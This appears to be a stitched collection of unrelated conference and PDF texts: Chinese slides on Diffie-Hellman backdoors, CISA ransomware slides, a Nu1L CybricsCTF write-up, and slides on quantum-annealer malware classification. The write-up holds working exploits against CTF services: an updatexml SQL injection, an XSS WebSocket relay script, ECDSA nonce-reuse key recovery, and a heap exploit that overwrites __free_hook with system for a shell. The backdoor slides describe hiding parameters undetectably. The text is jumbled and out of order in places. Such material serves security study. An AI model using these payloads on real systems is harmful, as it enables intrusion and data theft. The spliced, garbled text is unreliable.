Diffie Hellman Backdoor - 複習
Pohlig Hellman Algorithm
⽤用來來解 Discrete Logarithm Problem
使⽤用條件 : 當 p - 1 是 smooth number
Diffie Hellman Backdoor - Everybody
https://eprint.iacr.org/2016/644.pdf
Everybody Backdoors :
1. p - 1 選 B-smooth 的數,讓我們可以⽤用 Pohlig-Hellman 解 DLP
2. 選⼀一個 order 很⼩小的 element 當 g,讓我們可以⽤用 Pollard’s Rho 解 DLP
Diffie Hellman Backdoor - NOBUS
https://eprint.iacr.org/2016/644.pdf
NOBUS Backdoors :
Diffie Hellman Backdoor - NOBUS
https://eprint.iacr.org/2016/644.pdf
問題來來了了 :
當 (p - 1) 和 (q - 1) 都是 B-smooth 的話
可以直接⽤用 Pollard’s p - 1 Algorithm 分解 n
這樣所有⼈人都可以⽤用我們的後⾨門 ( NOT GOOD )
Diffie Hellman Backdoor - NOBUS
https://eprint.iacr.org/2016/644.pdf
引入 pbig 和 qbig 兩兩個相對較⼤大的質數
⽤用來來抵擋 Pollard’s p - 1 Algorithm
Diffie Hellman Backdoor - NOBUS
https://eprint.iacr.org/2016/644.pdf
不像⼀一般的惡惡意程式後⾨門
使⽤用這個後⾨門時,我們只需要把 常數 換掉
完全看不出來來我們在裝後⾨門 XD
Diffie Hellman Backdoor - 防禦
https://eprint.iacr.org/2016/644.pdf
針對這個後⾨門的防禦很簡單
就是確保參參數 p 真的是⼀一個質數
如果允許 p 是合數的話
還是很難分辨後⾨門和不是後⾨門
Conclusion
Conclusion
這次介紹了了兩兩個密碼學後⾨門
Dual EC Backdoor 和 Diffie Hellman Backdoor
可以看出密碼學後⾨門的防護相較⼀一般的後⾨門困難
1. 沒有 general 的防護⽅方式
2. 需要單獨作分析來來防禦
3. 有些甚⾄至無法證明有沒有被塞後⾨門
4. 使⽤用其他⼈人設計的密碼系統就會有風險
THANKS | pdf |
Asia-Pacific Cybersecurity
Community Collaboration and Joint
Defense
Tom Millar, US Cybersecurity and
Infrastructure Security Agency (CISA)
1. A Little Bit About CISA
2. The Top Threat to US
Critical Infrastructure
3. Fighting The Top Threat
4. Working Collaboratively
5. Questions & Answers
What is CISA?
• CISA is the “Nation’s Risk
Advisor”
• Not a Cyber Regulator
• Not a Law Enforcement
Agency
• Our stakeholders include
US Federal Government
agencies and US Critical
Infrastructure
The #1 Threat To Critical Infrastructure
… is Ransomware.
• Ransomware is intentionally disruptive.
• Recovery to full operations can take weeks (whether the
victim pays the ransom or not).
• Recent severe incidents have affected the energy sector,
food and agriculture supply chain, and hospital networks.
• Attacks occur daily across all sectors.
Defeating Ransomware Together
CISA works together with its sister agencies and with private
sector partners to combat the ransomware threat.
• Law Enforcement Agencies and the Treasury Department
disrupt operations and their payment schemes.
• Defense, Law Enforcement, Diplomatic and Intelligence
Agencies work to take the fight to the enemy.
• CISA leads the effort to harden targets – making systems
more secure and resilient.
Global Collaboration
Critical infrastructure is global and international
collaboration is key to succeeding against this threat.
• International partnerships have helped alert potential
victims and minimizing impact.
• Sharing timely alerts and detection methods is critical.
• This is done via various trust communities using different
channels, from formal Information Sharing and Analysis
Centers (ISACs) to volunteer groups.
Thank You! | pdf |
CybricsCTF WriteUp By Nu1L
Author : Nu1L
CybricsCTF WriteUp By Nu1L
CTB
Little Buggy Editor
rm -rf’er
GrOSs 1
Reverse
Walker
Kernel Reverse
Paired
Listing
Network
LX-100
ASCII Terminal
WEB
Multichat
Ad Network
Announcement
Cyber
Signer
scanner
GrOSs 2
Forensic
Recording
Namecheck
rebyC
CAPTCHA The Flag
CTB
Little Buggy Editor
curses vim flag /etc/flag.txt
buffer 500 * 500
_maxy _maxx _maxy _maxx
terminator GlobalBuffer, FileName /etc/flag.txt
rm -rf’er
GrOSs 1
flag
Reverse
Walker
flag.txtstartread
dulrcf
cCHECKPOINT + 1
fCHECKPOINT4
xyCHECKPOINT
dump10x10cxy
keykey01
size5ckey
checkpoint
dfs
buildbox:/# echo 'set line=($<)' > test.sh
buildbox:/# echo 'while($#line > 0)' >> test.sh
buildbox:/# echo 'echo $line' >> test.sh
buildbox:/# echo 'set line= ( $< )' >> test.sh
buildbox:/# echo end >> test.sh
buildbox:/# source test.sh < /etc/ctf/flag.txt
cybrics{cREUaGdddrcBtdtpruurrrrddddllcFGRiQllddrrrrrddlllcikhAcf}
Kernel Reverse
ioctl0x5702xor 0x13373389Flag
Paired
2EXEdlldbexecheck flag
exeexedlldllkey value
db
cREUaG //checkpoint 1
dddr
cBtdtp //checkpoint 2
ruurrrrddddll
cFGRiQ //checkpoint 3
llddrrrrrddlll
cikhAcf // checkpoint 4
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <time.h>
int main() {
int fd = open("/dev/ioctl", O_RDWR);
unsigned char * flag[512];
*(unsigned int *)flag = time(0) ^ 0x13373389u;
ioctl(fd, 0x5702, &flag);
puts(flag);
}
app13checkcheckdbdummy_string
stage 2.
checkenablestage 3.
Fcheckdbshellcodecheck
this_is_just_some_random_string!check
stage 3app2checkapp2app10x400
app1app2dllapp2
shellcodeapp1app1app2shellcode
shellcodeflag0x81'rbyc'
storage(7) = 0x767c
unk_4D70000[8] = dword ptr flag[0]
storage(7) += dword ptr unk_4D70000[8]
storage(7) = storage(7) == 0x909b110c
tot += 1
storage(7) = 0xe20b
unk_4D70000[8] = dword ptr flag[1]
storage(7) += dword ptr unk_4D70000[8]
storage(7) = storage(7) == 0x9a917ca5
tot += 1
storage(7) = 0xc323
unk_4D70000[8] = dword ptr flag[2]
storage(7) += dword ptr unk_4D70000[8]
storage(7) = storage(7) == 0x809b53bd
tot += 1
storage(7) = 0xdaba
unk_4D70000[8] = dword ptr flag[3]
storage(7) += dword ptr unk_4D70000[8]
storage(7) = storage(7) == 0x8b81754a
tot += 1
....
x=[0x90,0x9a, 0x9a, 0x90,
0x9a,0x80,0x8b,0x99,0x80,0x8b,0xb8,0x90,0x96,0x87,0xa7,0x91,0xc0,0x80,0x8c,0xd3,0x9c,0x
8d,0xa7,0x8f,0xb3,0x84,0xc9,0x81,0xd2,0xd2,0xd9,0x9f]
for i in range(len(x)):
print(chr(x[i]^0x81^ord('rbyc'[i%4])),end='')
cybrics{sh@red_s3ct1on_m@g1c!1!}
Listing
+
16flag
Network
LX-100
udpjpegmagic numberdump
ASCII Terminal
>>> a = [0xd3, 0xd1, 0x23, 0x76, 0x61, 0x35, 0xab, 0x9a, 0xd5, 0xd5, 0x27, 0x23, 0x35,
0x65, 0xf8, 0x83, 0xd3, 0xc9, 0x27, 0x61, 0x6c, 0x33, 0xb9, 0x85, 0xd6, 0xd5, 0x71,
0x22, 0x31, 0x61, 0xf8, 0xcb]
>>> key = [0xb0, 0xb0, 0x45, 0x13, 0x05, 0x50, 0xca, 0xfe]
>>> flag = ''
>>> for i in range(32):
... flag += chr(a[i] ^ key[i % 8])
...
>>> flag
'cafedeadeeb0052}cybrics{fe414125'
from PIL import Image, ImageDraw, ImageFont
from pwn import *
context.log_level = 'debug'
def gen_payload(payload):
shape = (15+20*len(payload), 30)
payload_img = Image.new('L', shape, 'white')
font = ImageFont.truetype("../pt-mono.bold.ttf", 20)
img_draw = ImageDraw.Draw(payload_img)
img_draw.text((15, 1), payload, fill='black', font=font)
payload_ascii = ''
for idx, pixel in enumerate(payload_img.getdata()):
if idx % shape[0] == 0:
payload_ascii += '\n'
if pixel:
payload_ascii += '.'
else:
payload_ascii += '#'
WEB
Multichat
Ad Network
return payload_ascii[1:] + '\n'
print(gen_payload('cat flag.txt'))
<script>
const logger = (a) => {
fetch(`/?q=${encodeURI(a)}`);
};
(() => {
let conn = new WebSocket("ws://multichat-cybrics2021.ctf.su/ws");
conn.onclose = (e) => {
if (e.code === 1003) {
logger(e.reason);
}
logger("closed");
};
conn.onopen = (e) => {
logger("opened");
conn.send("Hey, i forgot the flag. Can you remind me?");
};
conn.onmessage = (e) => {
logger(e.data);
};
})();
</script>
Announcement
Cyber
Signer
import requests
url="http://adnetwork-cybrics2021.ctf.su/adnetwork"
session = requests.Session()
session.max_redirects = 1337
text=session.get(url)
print(text.content)
import hashlib
import requests
url="http://announcement-cybrics2021.ctf.su"
def md5(s):
return hashlib.md5(s).hexdigest()
def send(s):
txt = requests.post(url, data={"digest": md5(s),"email":s})
print(txt.content)
if __name__=="__main__":
#select group_concat(table_name) from information_schema.tables where
table_schema='announcement'
#select group_concat(column_name) from information_schema.columns where
table_name='logs'
send("' or updatexml(1,concat(0x7e,(select group_concat(log) from logs)),0) or'")
from ecdsa import ecdsa as ec
from datetime import datetime
from Crypto.Util.number import *
import hashlib
g = ec.generator_192
N = g.order()
print(N)
'''
C:\Users\Administrator>nc 109.233.61.10 10105
What you want to do?
1) Make signature of data
2) Get flag
>1
4736040515387461309866734896535655436667638303477697365380,
5494781332577808392840288969057349930890554021041285868060,
210217282489038996911518232472507371436
C:\Users\Administrator>nc 109.233.61.10 10105
What you want to do?
1) Make signature of data
2) Get flag
>1
4736040515387461309866734896535655436667638303477697365380,
4619538881461989508363411793794136518737799143393739580740,
71445113775411488274569459774778090752
C:\Users\Administrator>nc 109.233.61.10 10105
What you want to do?
1) Make signature of data
2) Get flag
>1
4736040515387461309866734896535655436667638303477697365380,
3947105585447877525671309913148623362329628718965438318646,
90573011839418278106056861121907516635
'''
r,s1,m1 = 4736040515387461309866734896535655436667638303477697365380,
5494781332577808392840288969057349930890554021041285868060,
210217282489038996911518232472507371436
r,s2,m2 = 4736040515387461309866734896535655436667638303477697365380,
4619538881461989508363411793794136518737799143393739580740,
71445113775411488274569459774778090752
r,s3,m3 = 4736040515387461309866734896535655436667638303477697365380,
3947105585447877525671309913148623362329628718965438318646,
90573011839418278106056861121907516635
secret = (m1*s2-m2*s1)*inverse(r*s1-r*s2,N)%N
#m1s2+drs2=ks1s2=m2s1+drs1
#k = (m3+d*r)*inverse(s3,N)%N
#print(d,k)
PUBKEY = ec.Public_key(g, g * secret)
PRIVKEY = ec.Private_key(PUBKEY, secret)
hash = int(hashlib.md5(b'12:30:05:get_flag').hexdigest(), 16)
nonce = 5
signature = PRIVKEY.sign(hash, nonce)
print(f"{signature.r}, {signature.s}, {hash}\n".encode())
'''
scanner
flaggif
GrOSs 2
C:\Users\Administrator>nc 109.233.61.10 10105
What you want to do?
1) Make signature of data
2) Get flag
>2
Get signature for md5("12:30:05:get_flag")
410283251116784874018993562136566870110676706936762660240,
3022917093929959706671975063129227627813437174541219195283
Get your flagcybrics{7e296c5b91a49cfd9c54544238cb3c29fc0ef237}
'''
from PIL import Image
res = Image.new('L', (1080, 2080))
for i in range(7, 89): # 89
im = Image.open(f' {i}.png')
im1 = im.crop((0, 500, 1080, 515))
res.paste(im1, (0, (i-7)*15, 1080, (i-6)*15))
res.save('tmp.png')
from pwn import *
# p = process('./main')
p = remote('109.233.61.10', 11710)
# libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
libc = ELF('./libc-2.27.so') # md5 -> b7bb0c7852f533334ee662034f534f7e
context.log_level = 'debug'
def fuck_io(s):
# while p.recvuntil('shell(0)',timeout=0.2) != b'':
# p.sendline('')
p.sendlineafter('storage(2)<',s)
def launch_gdb():
context.terminal = ['gnome-terminal', '--']
# gdb.attach(proc.pidof(p))
print("gnome-terminal -- gdb attach " + str(proc.pidof(p)[0]))
os.system("gnome-terminal -- gdb -q ./main " + str(proc.pidof(p)[0]))
def fuck_io2(s):
p.recvuntil('storage(2)>')
p.sendafter('storage(2)<',s)
def add(i,size):
fuck_io('1')
fuck_io(str(i))
fuck_io(str(size))
def dele(i):
fuck_io('2')
fuck_io(str(i))
def edit(i,c):
fuck_io('3')
fuck_io(str(i))
fuck_io(c)
def show(i):
fuck_io('4')
fuck_io(str(i))
def shell(s):
p.sendlineafter('shell(0)<',s)
shell('SPAWN')
shell('cat')
while p.recvuntil(b'shell(0)<',timeout=0.5) != b'':
p.sendline('')
p.sendlineafter(b'cat','/proc/self/maps')
while p.recvuntil(b'cat',timeout=0.2) == b'':
p.sendline('')
p.recvuntil('(1)>')
leak_pie = int(p.recvuntil('-',drop=True),16)
log.info('leak pie ' + hex(leak_pie))
shell('SPAWN')
shell('storage')
shell('EXIT')
add(0,0x500)
add(1,0x500)
dele(0)
show(0)
# while p.recvuntil('storage',timeout=0.2) == b'':
# p.sendline('')
p.recvuntil('> ')
leak_libc = u64(p.recv(8)) - 4111520
log.info('leak libc ' + hex(leak_libc)) # 0x7f553ca68be0 0x7f61c5798ca0
add(0,0x100)
Forensic
Recording
firefoxpastebin
pastebin.com/uzqCjFUa
9yDz5iZprd
Namecheck
ssh key vividcoala@localhostinsins
rebyC
CAPTCHA The Flag
stegsolve 25flag
add(1,0x100)
add(2,0x100)
dele(0)
dele(1)
# dele(2)
# show(1)
# p.recvuntil('> ')
# leak_heap = u64(p.recv(8)) + 2384
# log.info('leak heap ' + hex(leak_heap))
edit(1,p64(leak_libc + libc.symbols['__free_hook']))
# raw_input()
add(0,0x100)
add(1,0x100)
# edit(1,p64(leak_libc + libc.symbols['__free_hooks']))
edit(1,p64(leak_libc + libc.symbols['system']))
edit(0,'/bin/sh\x00')
dele(0)
p.interactive() | pdf |
“Quantum” Classification
of Malware
John Seymour ([email protected])
2015-08-09
whoami
• Ph.D. student at the University of Maryland,
Baltimore County (UMBC)
• Actively studying/researching infosec for
about three years (mostly academic)
• Currently work for CyberPoint International
Outline
• D-Wave Basics
•
The D-Wave Controversy
•
How to play around on a D-Wave
• Some Machine Learning Background
• Building a “Quantum” Malware Classifier
https://blog.kaspersky.com/quantum-computers-and-the-end-of-security/
What you might have heard
(and why it’s wrong)
• FALSE: The D-Wave can solve NP-Complete
problems in polynomial time.
• PROBABLY FALSE: The current D-Wave chip is
already “better” than classical computing for
hard problems.
The Current State of Affairs
Quantum effects are happening…
…but that might not be interesting
We don't know whether the D-Wave uses
quantum effects for computation.
Regardless, it cannot run Shor's/Grovers/QKD.
http://www.dwavesys.com/
http://www.nytimes.com/
http://www.nytimes.com/
http://www.dwavesys.com/
http://www.dwavesys.com/
http://www.dwavesys.com/
D-Wave chips consist of:
• magnetized niobium loops
• couplers
http://www.dwavesys.com/
The D-Wave QUBO
𝑖
𝑎𝑖𝑞𝑖 +
𝑖,𝑖
𝑎𝑖𝑖𝑞𝑖𝑞𝑖
"Quadratic Unconstrained Binary Optimization"
Input
Output
They’ve got a website. To do stuff on and stuff.
System 6
System 13
One D-Wave Run
Input
Output
Blackbox/QSage
• Software, developed by D-Wave
• Turns arbitrary problems into QUBOs
• Heuristic-based (problem is NP-Complete)
• Conversation between classical machine and
D-Wave
•
Adds time from network latency
Blackbox Python Code
So what can D-Wave machines do?
D-Wave claims applications: classification,
protein-folding models, finding close-to-
optimal solutions to NPC problems (e.g.
Traveling Salesman)
Crash Course in Machine Learning
(At least what’s relevant to this)
Boosting - using combinations of
weak classifiers
• Consider 3 classifiers with 70% accuracy
• Majority vote can increase your accuracy to
0.7838! (Hint: add up the top row)
• Most boosting algorithms also allow weights
for these classifiers.
http://mlwave.com/kaggle-ensembling-guide/
All Correct:
0.7 * 0.7 * 0.7 = 0.3429
Two Correct:
3 * 0.7 * 0.7 * 0.3 = 0.4409
Two Wrong:
3 * 0.3 * 0.3 * 0.7 = 0.189
All Wrong:
0.3 * 0.3 * 0.3 = 0.027
Loss
• Want to minimize:
•
Number of misclassifications
•
Complexity of the model
N-Grams
• Sliding window over text
𝐷𝐷𝐴𝐷𝐴𝐷𝐷𝐷
N-Grams
• Sliding window over text
𝐷𝐷𝐴𝐷𝐴𝐷𝐷𝐷
N-Grams
• Sliding window over text
𝐷𝐷𝐴𝐷𝐴𝐷𝐷𝐷
N-Grams
• Sliding window over text
𝐷𝐷𝐴𝐷𝐴𝐷𝐷𝐷
N-Grams
• Sliding window over text
𝐷𝐷𝐴𝐷𝐴𝐷𝐷𝐷
• Easy to generate
• Used before in malware with good results
• Easy to turn into weak classifiers
• Complex enough to compare classifiers
Building the “Quantum” Malware Classifier
QBoost
• Outperforms Adaboost
• Robust to label noise
•
Will generally still learn even if training data is
mislabeled
•
Good for learning malware: ground truth is hard!
• Doesn’t scale to “Google-sized problems”
•
Blackbox supposedly can
Dataset used
• Plenty of malicious datasets to choose from
•
Vx Heaven, VirusShare, scraping the web
•
We used Vx Heaven (fairly standard but old)
• No standard for benign dataset
•
Problematic
•
Windows + Cygwin + Sourceforge
•
Don’t do this
•
No adware was used in the making of this classifier
(Classical) Preprocessing
• Resample corpus to be balanced
•
Side-effects: Less time to train, lose information
• Extract Features (3-gram bytes)
HTTP://XKCD.COM/221/
At first, our classifier was
no better than random chance
Next question: how long do we
need to let Blackbox run?
• Previous work says 30 minute timeout
•
Pilot Experiment to find how long it should take
• Even on small problems, it takes 10 minutes to
find decent solutions
• Larger problems require even more time
• Limited to 32 features
•
We used 16 malware and 16 benign n-grams
•
Implemented QBoost with 10-fold cross-
validation using Blackbox
•
Both on D-Wave and using a simulator
• Compared to several models from WEKA
•
Adaboost
•
J48 Decision Tree
•
Random Forest
Results
Results
Interesting Result 1: takes a LOT of time
Results
Interesting Result 2: Simulator > actual chip
What does it mean?
• Blackbox/D-Wave CAN learn a classifier
•
Probably a bad idea: significant overhead and
must restrict problem substantially
•
We don’t know if this is due to Blackbox, the D-
Wave chip, or some other issue
• General problem-solving on D-Wave is
probably a bad idea
•
Really should’ve stuck with QBoost
• How much better is the next D-Wave chip?
• Embed directly onto chip, rather than use
heuristics
• Better for another task?
• e.g. feature preprocessing
• Machine Learning Standards for Malware
Analysis
Thank you!
Questions?
[email protected], @jjseymour3
References
Original thesis: J. Seymour. Quantum
classification of malware.
Dataset prep: J. Seymour and C. Nicholas.
Overgeneralization in feature set selection for
classification of malware.
Qboost: V. S. Denchev. Binary classification with
adiabatic quantum optimization.
Qloss: V. S. Denchev. Robust Classification with
Adiabatic Quantum Optimization.
References
Tutorial on Binary Classification using D-Wave:
https://web.archive.org/web/2013092715505
3/http://www.dwavesys.com/en/dev-tutorial-
qbc.html.
Evaluating Blackbox: C. C. McGeoch and C.
Wang. Experimental evaluation of an
adiabiatic quantum system for combinatorial
optimization. | pdf |
Subsets and Splits